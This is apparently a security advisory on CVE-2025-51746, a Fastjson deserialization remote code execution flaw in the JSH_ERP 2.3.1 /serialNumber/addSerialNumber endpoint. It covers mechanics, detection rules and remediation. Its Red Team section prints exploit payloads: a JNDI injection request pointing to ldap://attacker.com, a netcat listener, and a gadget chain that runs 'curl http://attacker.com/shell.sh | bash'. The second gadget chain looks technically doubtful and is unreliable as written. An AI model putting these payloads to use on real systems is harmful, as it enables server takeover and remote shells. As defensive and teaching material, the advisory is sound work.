CVE-2025-51746

Executive Summary

CVE-2025-51746 is a critical unauthenticated remote code execution vulnerability in the JSH_ERP application by Jishenghua, version 2.3.1. The flaw resides in the /serialNumber/addSerialNumber endpoint, which deserializes untrusted data using the Fastjson library without proper validation. An attacker can send a crafted JSON payload to trigger arbitrary code execution, leading to full system compromise. No patch is currently available, and public proof-of-concept (PoC) code exists, making this a high-priority threat for any exposed instance.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, leading to total loss of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The JSH_ERP application uses Fastjson, a popular JSON library in Java, for deserializing JSON data. The /serialNumber/addSerialNumber endpoint accepts user-supplied JSON and passes it directly to Fastjson's parseObject() method without any type filtering or whitelisting. Fastjson's @type feature allows an attacker to specify arbitrary Java classes to be instantiated during deserialization. By chaining this with known gadget classes (e.g., from the commons-collections or fastjson internal gadgets), an attacker can achieve arbitrary code execution.

The attack flow:

1. Attacker sends a POST request to /serialNumber/addSerialNumber with a JSON payload containing a malicious @type field.
2. Fastjson deserializes the payload, instantiating the specified class.
3. The gadget chain triggers execution of arbitrary commands (e.g., Runtime.exec()).
4. The attacker gains a reverse shell or executes arbitrary code on the server.

Vulnerable vs. Patched Code

Vulnerable Code (JSH_ERP 2.3.1):

// Controller endpoint
@RequestMapping(value = "/serialNumber/addSerialNumber", method = RequestMethod.POST)
public void addSerialNumber(@RequestBody String jsonData) {
    // Directly deserialize without type filtering
    JSONObject obj = JSON.parseObject(jsonData);
    // ... process obj
}

Patched Code (Hypothetical):

// Use a safe deserialization approach with a whitelist
@RequestMapping(value = "/serialNumber/addSerialNumber", method = RequestMethod.POST)
public void addSerialNumber(@RequestBody String jsonData) {
    // Use a custom parser with type whitelist
    ParserConfig config = new ParserConfig();
    config.setAutoTypeSupport(false); // Disable auto-type
    // Or use a whitelist of allowed classes
    config.addAccept("com.jishenghua.erp.entity.");
    JSONObject obj = JSON.parseObject(jsonData, config);
    // ... process obj
}

No official patch is available. The only mitigation is to disable the endpoint or apply a WAF rule.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running JSH_ERP 2.3.1 with the /serialNumber/addSerialNumber endpoint exposed.
• A listener for reverse shell (e.g., nc -lvnp 4444).

Exploit Payload (Fastjson JNDI injection):

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com:1389/Exploit",
    "autoCommit": true
}

Step-by-step:

1. Set up a malicious LDAP server (e.g., using marshalsec) that serves a Java class executing a reverse shell.
2. Send the payload to the target:

curl -X POST http://target.com/serialNumber/addSerialNumber \
  -H "Content-Type: application/json" \
  -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}'

3. Receive the reverse shell on your listener.

Alternative Gadget (using commons-collections):

{
    "@type": "org.apache.commons.collections.keyvalue.TiedMapEntry",
    "map": {
        "@type": "org.apache.commons.collections.map.LazyMap",
        "factory": {
            "@type": "org.apache.commons.collections.functors.ChainedTransformer",
            "iTransformers": [{
                "@type": "org.apache.commons.collections.functors.ConstantTransformer",
                "iConstant": "Runtime"
            }, {
                "@type": "org.apache.commons.collections.functors.InvokerTransformer",
                "iMethodName": "getRuntime",
                "iParamTypes": [],
                "iArgs": []
            }, {
                "@type": "org.apache.commons.collections.functors.InvokerTransformer",
                "iMethodName": "exec",
                "iParamTypes": ["java.lang.String"],
                "iArgs": ["curl http://attacker.com/shell.sh | bash"]
            }]
        },
        "key": "foo"
    },
    "value": "bar"
}

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /serialNumber/addSerialNumber with JSON containing @type fields.
• Alert on outbound connections to unknown LDAP/RMI servers from the application server.
• Use WAF rules to block @type in JSON bodies.

Hardening:

• Disable the /serialNumber/addSerialNumber endpoint if not needed.
• Upgrade Fastjson to version 1.2.83 or later, which includes safeMode by default.
• Set JVM property fastjson.parser.autoTypeSupport=false.
• Implement network segmentation to restrict outbound traffic from the application server.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /serialNumber/addSerialNumber with @type in the JSON body.
• Outbound connections to ports 1389 (LDAP), 1099 (RMI), or 4444 (common reverse shell) from the application server.
• DNS queries to known malicious domains (e.g., attacker.com).

File IOCs:

• Unexpected .class files in temporary directories (e.g., /tmp/).
• New processes spawned from the Java application (e.g., bash, curl, nc).

Log IOCs:

• Fastjson deserialization errors in application logs (e.g., autoType is not support).
• Unusual Java stack traces in logs.

Detection Engineering

YARA Rule

rule CVE_2025_51746_Fastjson_Deserialization {
    meta:
        description = "Detects Fastjson deserialization payloads targeting CVE-2025-51746"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51746"
    strings:
        $json_payload = /"@type"\s*:\s*"[^"]*"/ nocase
        $jndi_payload = /"dataSourceName"\s*:\s*"ldap:\/\// nocase
        $rmi_payload = /"dataSourceName"\s*:\s*"rmi:\/\// nocase
        $gadget_chain = /"iTransformers"\s*:/ nocase
    condition:
        any of ($json_payload) and (any of ($jndi_payload, $rmi_payload, $gadget_chain))
}

Sigma Rule

title: Fastjson Deserialization Attempt Against JSH_ERP
id: 8f4b3c2a-1d5e-4f7a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects POST requests to /serialNumber/addSerialNumber with Fastjson deserialization indicators
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/serialNumber/addSerialNumber'
        cs-content-type: 'application/json'
    keywords:
        - '@type'
        - 'dataSourceName'
        - 'ldap://'
        - 'rmi://'
    condition: selection and keywords
falsepositives:
    - Legitimate use of @type in other contexts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-51746 Fastjson Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/serialNumber/addSerialNumber"; http_uri; content:"@type"; http_client_body; content:"dataSourceName"; http_client_body; content:"ldap://"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint: Block access to /serialNumber/addSerialNumber via firewall or reverse proxy.
2. Apply WAF rules: Block JSON payloads containing @type or dataSourceName.
3. Upgrade Fastjson: If possible, upgrade to Fastjson 1.2.83+ and enable safeMode.
4. Network segmentation: Restrict outbound traffic from the application server to only necessary services.

Long-term Fix:

• Vendor must release a patch that implements a whitelist of allowed classes for deserialization.
• Replace Fastjson with a safer JSON library (e.g., Jackson with @JsonTypeInfo disabled).

Workaround:

• Set JVM property -Dfastjson.parser.autoTypeSupport=false to disable auto-type.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert